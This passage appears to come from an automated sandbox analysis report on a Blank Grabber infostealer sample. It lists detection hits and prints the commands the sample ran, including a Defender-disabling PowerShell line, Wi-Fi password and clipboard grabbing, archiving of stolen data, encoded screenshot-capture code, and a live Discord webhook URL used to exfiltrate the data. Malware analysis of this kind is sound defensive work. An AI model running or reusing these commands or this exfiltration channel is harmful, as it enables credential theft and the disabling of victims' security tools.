AbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABF

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ParentProcessId: 7656, ParentProcessName: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 5632, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessId: 7656, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessId: 7656, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessId: 7656, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8788, TargetFilename: C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4536, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *, ProcessId: 8296, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 7840, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABF

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ParentProcessId: 7656, ParentProcessName: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7500, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe.7656.2.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

ReversingLabs: Detection: 57%

Machine Learning detection for sample

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2C901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

72_2_00007FF71D2C901C

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.pdbhP source: powershell.exe, 0000002D.00000002.1546305256.0000014D0A895000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1770892655.00007FF8E7290000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1771559023.00007FF8E7316000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6D1F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1u 30 May 2023built on: Wed May 31 23:27:41 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6D1F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 6C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.pdb source: powershell.exe, 0000002D.00000002.1546305256.0000014D0A895000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1323859878.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1777638833.00007FF8F9D71000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1323859878.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1777638833.00007FF8F9D71000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772852379.00007FF8E7391000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1769130422.00007FF8E6DA1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000048.00000000.1631513880.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1774041313.00007FF8E795B000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1771559023.00007FF8E7316000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776891927.00007FF8F6DA1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773840617.00007FF8E75B1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775280182.00007FF8F0941000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776711949.00007FF8F5851000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776445085.00007FF8F1DF1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775912815.00007FF8F0D01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772235361.00007FF8E7361000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF7B110842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F8AF0 FindFirstFileExW,FindClose,	0_2_00007FF7B10F8AF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B11124C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7B11124C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF7B110842C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	72_2_00007FF71D2D46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3188E0 FindFirstFileExA,	72_2_00007FF71D3188E0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2CE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	72_2_00007FF71D2CE21C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.135.232 162.159.135.232

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.1

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 757061User-Agent: python-urllib3/2.2.1Content-Type: multipart/form-data; boundary=7aed04c08861a53965fd837c5996aad0

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 May 2024 23:36:51 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=29fc2f58189411efae87a23f64d7541c; Expires=Mon, 21-May-2029 23:36:51 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1716421012x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2BmkMsbaobPUsvbErmh97aDuEbCzYd7k84OocZ%2BABWTU%2FBBDfv9pr9df88oAyPVoigjlE1Vd3yJ5zGGCJjNugcLyJuaxVg2cilH5uYbmSDjy1xFQnYWf8lDmUz4q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=29fc2f58189411efae87a23f64d7541c1ac8b801464fa2929075f1c32ed0b4d0638c0aa645c12adb8bb849f0d67dfc05; Expires=Mon, 21-May-2029 23:36:51 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=a3b0507fedfc396abe2f4a23c0c33288c6dc829f-1716421011; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327045626.00000162E1233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324838344.00000162E1233000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1330071281.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1326492247.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327045626.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324723670.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327702887.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 